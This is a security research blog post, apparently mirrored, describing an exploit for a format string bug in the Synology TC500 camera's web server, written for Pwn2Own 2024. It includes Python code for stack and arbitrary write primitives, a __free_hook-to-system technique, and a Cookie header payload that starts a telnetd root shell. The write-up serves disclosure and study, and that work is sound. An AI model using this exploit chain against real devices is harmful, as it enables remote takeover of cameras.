Thanks to visit codestin.com
Credit goes to blog.infosectcbr.com.au

Exploiting the Synology TC500 at Pwn2Own Ireland 2024

Introduction

In October 2024, InfoSect participated in Pwn2Own – a bug bounty competition against embedded devices such as cameras, NAS’, and smart speakers. In this blog, I’ll discuss our exploit we developed to get remote code execution on the Synology TC500 smart camera using a format string vulnerability. In the end, we weren’t able to use the exploit, but it was an interesting case study in exploiting format string vulnerabilities.

Attack Surface

The firmware of the camera is publicly available, and it is possible to run it in an emulated environment using a similar setup to the 6th Real World CTF. From emulation, we enumerated the attack surface of the camera, one interface open to the LAN-side is the webd binary, which is used for logging in and managing the camera. The other open port is the RTSP management process, streamd.

$ netstat -plantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
PID/Program name
tcp    0     0     0.0.0.0:443    0.0.0.0:*    LISTEN    770/webd
tcp    0     0     0.0.0.0:554    0.0.0.0:*    LISTEN    847/streamd
tcp    0     0     0.0.0.0:80     0.0.0.0:*    LISTEN    770/webd
tcp    0     0     :::554         :::*         LISTEN    847/streamd
udp    0     0     0.0.0.0:19998  0.0.0.0:*              770/webd
 
The webd binary is a variant of the open-source civetweb web-server, with minor modifications made for debugging, logging, and to process interactions with the RTSP service. It runs on 32-bit ARM. The service is compiled with the normal set of application security mitigations: PIE, RELRO, ASLR, and stack canaries. It uses glibc v2.30.
 
The Vulnerability
While reverse engineering webd, we discovered that there are some minor customisations made to process_new_connection. This function is called by each worker thread to process an incoming HTTP request. One addition by Synology appears to be a global debug information table, containing information of each worker thread, and their most recently processed connections. At the end of process_new_connection the information about the request is added to a thread_name via snprintf.
 
req_uri = conn->request_info.request_uri;
...
char thread_name[0x80];
mg_snprintf(0, nullptr, thread_name, 0x80, "%s%s", ..., req_uri);
 
This thread_name is then appended to the worker_debug_table using set_thread_name
 
if (worker_debug_table != 0)
    set_thread_name(pthread_self(), thread_name);
In set_thread_name, however, the inputted thread_name is used as the sole argument to to mg_snprintf, meaning there’s a format string vulnerability where the the original request_uri will be used directly in snprintf.
 
 
void set_thread_name(pthread_t self, char* thread_name)
{
    ...
    if (worker_debug_table[i]->thread == self)
    {
        mg_snprintf(0, nullptr, worker_debug_table[i]->name, 0x80, thread_name);
        worker_debug_table[i]->name[strlen(thread_name)] = 0;
    }
    ...
}

Exploitation

Information Leak Primitive

The thread name in the worker_debug_table is not returned to remote user, so we could not directly use a URI like %p%p%p%p to fetch pointers from the stack. However, examining the state of the stack at the vulnerable snprintf gave insight to a potential information leak.
  
pwndbg> telescope
...
07:001c| 0x7588268c -> 0x75500610 <- 0x312e31 /* '1.1' */
 
The seventh entry in the stack is a pointer to a string containing the HTTP version used in the request. This means that we could use the bug to overwrite the pointer, using a url which looks like: %*[some_stack_entry_index]$c%7$n.
 
This format string works in two parts:
%*[some_stack_entry_index]$c will take a positional argument, and write that many characters from the stack.
%7$n will count the total bytes written so-far in the format string, and write it into the 7th positional argument (which is the 7th stack pointer in our case).
 
For example, if we had the below C code, 3 bytes would be written, meaning x would be updated to 3

int x;
printf("%*3$c%7$n", "abcdefghijklmn", NULL, 3, NULL, NULL, NULL, &x);
 
Using this format, we can write a pointer over the HTTP version string, which will be returned to us, causing an ASLR bypass. The limitation of this technique is that it isn’t possible to write more than ~0x60000000 bytes on this this particular architecture and glibc version. This means that we cannot write a full pointer that isn’t in the executable, which is around the 0x50000000-0x60000000 address range.
 

Stack Write Primitive

 
We can use a similar technique with a custom length string to overwrite any pointer in the stack. The format string must look like %[some-value]c%[some_stack_index]$n. We can write either 32, 16, or 8 bits using %n, %hn, %hhn respectively.
 

Arbitrary Write Primitive

 
It is possible to pivot the stack write primitive into arbitrary write by updating a stack pointer to point to itself. At the offset of 3664 on the stack, there is a pointer back to the stack. We shall refer to this pointer as p1. p1 can be made to point to another stack pointer, p2 ,0x10 bytes further into the stack.
 
pwndbg> tele $sp+3664
00:0000| 0x758834c0 <- 0x758834c0 ## p1
...
04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8
 

After overwriting this offset using %hhn , we can change this as below. 

pwndbg> tele $sp+3664
00:0000| 0x758834c0 -> 0x758834d0 ## p1 -> 0x75882e68 ## p2<- 0x5f715ee8
04:0010| 0x758834d0 -> 0x75882e68 ## p2 <- 0x5f715ee8

 

These pointers are so deep in the stack of the worker thread that the pointer changes persist across multiple requests.

We are now able to update a stack pointer to an arbitrary address by updating p2 via p1, then write content to that arbitrary address by updating the content of p2.

Using p1 it is possible to make p2 point to the offset 2080 in the stack. This region is effectively unused, allowing changes to that area to persist across requests too. We will refer to a pointer to this area as p3. So now we have p2 pointing to p3, and we can incrementally update  p3 by updating the last byte of p2 before overwriting the content of p3. This allows us to create an arbitrary pointer at p3. Then we can use the same technique as the stack write using the stack index of p3. The code for an 8-bit arbitrary write primitive looks as below

def stack_write8(offset, value):
    entry = offset // 4
    if len(CLIENT_IP) + 1 > value:
        value += 0x100
    req = b'GET /%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' +
    str(entry).encode() + b'$hhn HTTP/1.1\r\n\r\n'
    print(req)
    do_request(req)

def arb_write8(addr, value):
    # Point to offset 2080 by updating p2's last byte to 0x90
    stack_write8(p1, 0x90)
    # Write the last byte of the address to p2 (which is pointing to p3)
    stack_write8(p2, addr & 0xFF)
    # Increment p2 by one byte
    stack_write8(p1, 0x91)
    # Write 2nd byte of address to p2
    stack_write8(p2, (addr >> 8) & 0xFF)
    # repeat until all bytes are written
    stack_write8(p1, 0x92)
    stack_write8(p2, (addr >> 16) & 0xFF)
    stack_write8(p1, 0x93)
    stack_write8(p2, (addr >> 24) & 0xFF)
    if len(CLIENT_IP) + 1 > value:
        value += 0x100
    req = b'/%' + str(value - len(CLIENT_IP) - 1).encode() + b'c%' + str(OFFSET_STACK_DATA // 4).encode() + b'$hhn'
    return do_request(b'GET %s HTTP/1.1\r\n\r\n' % req
 

Arbitrary Read Primitive 

We can combine the arbitrary write primitive with the information leak primitive to create an arbitrary read. We simply need to update the http_version string used in the information leak to an arbitrary address, and make a request. This will return whatever the content of the arbitrary address happens to be.

 
Getting a Remote Shell

 
Gaining a remote shell relies on the fact that glibc 2.30 uses “hooks” for various libc APIs. The broad strategy we used was  to overwrite the __free_hook with the system() hook, and call free() with a pointer to a controlled string as the first argument.
 
Firstly, using our information leak, we are able to determine the PIE base, and therefore the address of the .got . The .got contains the addresses of functions in glibc such as system , malloc , and free . Using the information in the .got, it is possible to find base address of glibc. This gives us the address of the __free_hook hook. We can then use the arbitrary write primitive to overwrite the
__free_hook hook with the system.
 
Next, it is possible to force webd to call free (which is now system) on a controlled string with the Cookie http header. The function at 0x34a54 , which we have called GetSessionIdFromCookie, will create a std::string from the cookie value. 

int32_t* GetSessionIdFromCookie(int32_t* arg1, struct mg_request_info*arg2) {
    int32_t num_headers = arg2->num_headers
    ...
    if (num_headers <= 0)
        ...
    else
        ...
    while (true)
        if (strcmp(p1: arg2->headers[i_2].name, p2: "Cookie") == 0)
            char* cookie = arg2->headers[i_2].value
            
            if (cookie != 0)
                ....
                std::string::_M_construct<char const*>(&delim, "; ", &data_afee8[2])
                std::vector<std::string> split_cookie
                SplitStr(ret: &split_cookie, &cookie_1, &delim) // [1]
                ...
                std::vector<std::string> split_cookie_1 = split_cookie
                ...
            else
                while (true)
                    cookie_1 = &var_3c
                    std::string::_M_construct<char const*>(&cookie_1, "=", &data_ab95c[9])
                    SplitStr_2(&var_8c, &split_cookie_1[2], &cookie_1)
                    void* cookie_3 = cookie_1
                    if (cookie_3 != &var_3c) // [2]
                        operator delete(ptr: cookie_3)
}

 
At [1] , the function splits the cookie by a semicolon delimiter, storing the vector in split_cookie . Then, at [2], the function will delete the cookie up to the semicolon. Therefore, we can send a cookie with the content:

Cookie: telnetd -p 1337 -l /bin/sh -F; AAAAAAA 
 

After this is split, the telnetd command will be used by system() when it is freed.

Conclusion

This exploit technique worked perfectly against the vulnerable TC500 firmware. However, the night before we flew out to Ireland to submit the exploit, Synology rolled out a firmware update which patched out the format string vulnerability. That’s the Pwn2Own experience for you….

If you want to read about another exploit for this  same  bug, Baptiste MOINE has a great writeup for Synology

Leave a Reply

Scroll to Top

Discover more from InfoSect Blog

Subscribe now to keep reading and get access to the full archive.

Continue reading